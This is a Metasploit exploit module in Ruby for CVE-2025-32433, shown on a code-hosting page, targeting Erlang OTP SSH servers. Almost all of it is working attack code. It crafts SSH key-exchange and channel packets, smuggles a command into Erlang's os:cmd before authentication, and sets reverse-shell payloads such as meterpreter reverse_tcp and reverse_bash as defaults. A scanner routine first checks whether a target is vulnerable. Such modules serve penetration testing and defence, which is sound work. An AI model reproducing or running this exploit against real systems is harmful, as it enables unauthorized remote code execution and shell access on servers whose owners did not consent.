Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/ssh/ssh_erlangotp_rce.rb
19577 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'hrr_rb_ssh/message/090_ssh_msg_channel_open'
6
require 'hrr_rb_ssh/message/098_ssh_msg_channel_request'
7
require 'hrr_rb_ssh/message/020_ssh_msg_kexinit'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = ExcellentRanking
11
12
prepend Msf::Exploit::Remote::AutoCheck
13
include Msf::Exploit::Remote::Tcp
14
include Msf::Auxiliary::Report
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Erlang OTP Pre-Auth RCE Scanner and Exploit',
21
'Description' => %q{
22
This module detect and exploits CVE-2025-32433, a pre-authentication vulnerability in Erlang-based SSH
23
servers that allows remote command execution. By sending crafted SSH packets, it executes a payload to
24
establish a reverse shell on the target system.
25
26
The exploit leverages a flaw in the SSH protocol handling to execute commands via the Erlang `os:cmd`
27
function without requiring authentication.
28
},
29
'License' => MSF_LICENSE,
30
'Author' => [
31
'Horizon3 Attack Team',
32
'Matt Keeley', # PoC
33
'Martin Kristiansen', # PoC
34
'mekhalleh (RAMELLA Sebastien)' # module author powered by EXA Reunion (https://www.exa.re/)
35
],
36
'References' => [
37
['CVE', '2025-32433'],
38
['URL', 'https://x.com/Horizon3Attack/status/1912945580902334793'],
39
['URL', 'https://platformsecurity.com/blog/CVE-2025-32433-poc'],
40
['URL', 'https://github.com/ProDefense/CVE-2025-32433']
41
],
42
'Platform' => ['linux', 'unix'],
43
'Arch' => [ARCH_CMD],
44
'Targets' => [
45
[
46
'Linux Command', {
47
'Platform' => 'linux',
48
'Arch' => ARCH_CMD,
49
'Type' => :linux_cmd,
50
'DefaultOptions' => {
51
'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp'
52
# cmd/linux/http/aarch64/meterpreter/reverse_tcp has also been tested successfully with this module.
53
}
54
}
55
],
56
[
57
'Unix Command', {
58
'Platform' => 'unix',
59
'Arch' => ARCH_CMD,
60
'Type' => :unix_cmd,
61
'DefaultOptions' => {
62
'PAYLOAD' => 'cmd/unix/reverse_bash'
63
}
64
}
65
]
66
],
67
'Privileged' => true,
68
'DisclosureDate' => '2025-04-16',
69
'DefaultTarget' => 0,
70
'Notes' => {
71
'Stability' => [CRASH_SAFE],
72
'Reliability' => [REPEATABLE_SESSION],
73
'SideEffects' => [IOC_IN_LOGS]
74
}
75
)
76
)
77
78
register_options([
79
Opt::RPORT(22),
80
OptString.new('SSH_IDENT', [true, 'SSH client identification string sent to the server', 'SSH-2.0-OpenSSH_8.9'])
81
])
82
end
83
84
# builds SSH_MSG_CHANNEL_OPEN for session
85
def build_channel_open(channel_id)
86
msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN.new
87
payload = {
88
'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN::VALUE,
89
'channel type': 'session',
90
'sender channel': channel_id,
91
'initial window size': 0x68000,
92
'maximum packet size': 0x10000
93
}
94
msg.encode(payload)
95
end
96
97
# builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
98
def build_channel_request(channel_id, command)
99
msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST.new
100
payload = {
101
'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST::VALUE,
102
'recipient channel': channel_id,
103
'request type': 'exec',
104
'want reply': true,
105
command: "os:cmd(\"#{command}\")."
106
}
107
msg.encode(payload)
108
end
109
110
# builds a minimal but valid SSH_MSG_KEXINIT packet
111
def build_kexinit
112
msg = HrrRbSsh::Message::SSH_MSG_KEXINIT.new
113
payload = {}
114
payload[:"message number"] = HrrRbSsh::Message::SSH_MSG_KEXINIT::VALUE
115
# The definition for SSH_MSG_KEXINIT in 020_ssh_msg_kexinit.rb expects each cookie byte to be its own field. The
116
# encode method expects a hash and so we need to duplicate the "cookie (random byte)" key in the hash 16 times.
117
16.times do
118
payload[:"cookie (random byte)".dup] = SecureRandom.random_bytes(1).unpack1('C')
119
end
120
payload[:kex_algorithms] = ['curve25519-sha256', 'ecdh-sha2-nistp256', 'diffie-hellman-group-exchange-sha256', 'diffie-hellman-group14-sha256']
121
payload[:server_host_key_algorithms] = ['rsa-sha2-256', 'rsa-sha2-512']
122
payload[:encryption_algorithms_client_to_server] = ['aes128-ctr']
123
payload[:encryption_algorithms_server_to_client] = ['aes128-ctr']
124
payload[:mac_algorithms_client_to_server] = ['hmac-sha1']
125
payload[:mac_algorithms_server_to_client] = ['hmac-sha1']
126
payload[:compression_algorithms_client_to_server] = ['none']
127
payload[:compression_algorithms_server_to_client] = ['none']
128
payload[:languages_client_to_server] = []
129
payload[:languages_server_to_client] = []
130
payload[:first_kex_packet_follows] = false
131
payload[:"0 (reserved for future extension)"] = 0
132
msg.encode(payload)
133
end
134
135
# formats a list of names into an SSH-compatible string (comma-separated)
136
def name_list(names)
137
string_payload(names.join(','))
138
end
139
140
# pads a packet to match SSH framing
141
def pad_packet(payload, block_size)
142
min_padding = 4
143
payload_length = payload.length
144
padding_len = block_size - ((payload_length + 5) % block_size)
145
padding_len += block_size if padding_len < min_padding
146
[(payload_length + 1 + padding_len)].pack('N') +
147
[padding_len].pack('C') +
148
payload +
149
"\x00" * padding_len
150
end
151
152
# helper to format SSH string (4-byte length + bytes)
153
def string_payload(str)
154
s_bytes = str.encode('utf-8')
155
[s_bytes.length].pack('N') + s_bytes
156
end
157
158
def check
159
print_status('Starting scanner for CVE-2025-32433')
160
161
connect
162
sock.put("#{datastore['SSH_IDENT']}\r\n")
163
banner = sock.get_once(1024, 10)
164
unless banner
165
return Exploit::CheckCode::Unknown('No banner received')
166
end
167
168
unless banner.to_s.downcase.include?('erlang')
169
return Exploit::CheckCode::Safe("Not an Erlang SSH service: #{banner.strip}")
170
end
171
172
sleep(0.5)
173
174
print_status('Sending SSH_MSG_KEXINIT...')
175
kex_packet = build_kexinit
176
sock.put(pad_packet(kex_packet, 8))
177
sleep(0.5)
178
179
response = sock.get_once(1024, 5)
180
unless response
181
return Exploit::CheckCode::Detected("Detected Erlang SSH service: #{banner.strip}, but no response to KEXINIT")
182
end
183
184
print_status('Sending SSH_MSG_CHANNEL_OPEN...')
185
chan_open = build_channel_open(0)
186
sock.put(pad_packet(chan_open, 8))
187
sleep(0.5)
188
189
print_status('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...')
190
chan_req = build_channel_request(0, Rex::Text.rand_text_alpha(rand(4..8)).to_s)
191
sock.put(pad_packet(chan_req, 8))
192
sleep(0.5)
193
194
begin
195
sock.get_once(1024, 5)
196
rescue EOFError, Errno::ECONNRESET
197
return Exploit::CheckCode::Safe('The target is not vulnerable to CVE-2025-32433.')
198
end
199
sock.close
200
201
report_vuln(
202
host: datastore['RHOST'],
203
name: name,
204
refs: references,
205
info: 'The target is vulnerable to CVE-2025-32433.'
206
)
207
Exploit::CheckCode::Vulnerable
208
rescue Rex::ConnectionError
209
Exploit::CheckCode::Unknown('Failed to connect to the target')
210
rescue Rex::TimeoutError
211
Exploit::CheckCode::Unknown('Connection timed out')
212
ensure
213
disconnect unless sock.nil?
214
end
215
216
def exploit
217
print_status('Starting exploit for CVE-2025-32433')
218
connect
219
sock.put("SSH-2.0-OpenSSH_8.9\r\n")
220
banner = sock.get_once(1024)
221
if banner
222
print_good("Received banner: #{banner.strip}")
223
else
224
fail_with(Failure::Unknown, 'No banner received')
225
end
226
sleep(0.5)
227
228
print_status('Sending SSH_MSG_KEXINIT...')
229
kex_packet = build_kexinit
230
sock.put(pad_packet(kex_packet, 8))
231
sleep(0.5)
232
233
print_status('Sending SSH_MSG_CHANNEL_OPEN...')
234
chan_open = build_channel_open(0)
235
sock.put(pad_packet(chan_open, 8))
236
sleep(0.5)
237
238
print_status('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...')
239
chan_req = build_channel_request(0, payload.encoded)
240
sock.put(pad_packet(chan_req, 8))
241
242
begin
243
response = sock.get_once(1024, 5)
244
if response
245
print_status('Packets sent successfully and receive response from the server')
246
247
hex_response = response.unpack('H*').first
248
vprint_status("Received response: #{hex_response}")
249
250
if hex_response.start_with?('000003')
251
print_good('Payload executed successfully')
252
else
253
print_error('Payload execution failed')
254
end
255
end
256
rescue EOFError, Errno::ECONNRESET
257
print_error('Payload execution failed')
258
rescue Rex::TimeoutError
259
print_error('Connection timed out')
260
end
261
262
sock.close
263
rescue Rex::ConnectionError
264
fail_with(Failure::Unreachable, 'Failed to connect to the target')
265
rescue Rex::TimeoutError
266
fail_with(Failure::TimeoutExpired, 'Connection timed out')
267
rescue StandardError => e
268
fail_with(Failure::Unknown, "Error: #{e.message}")
269
end
270
271
end
272
273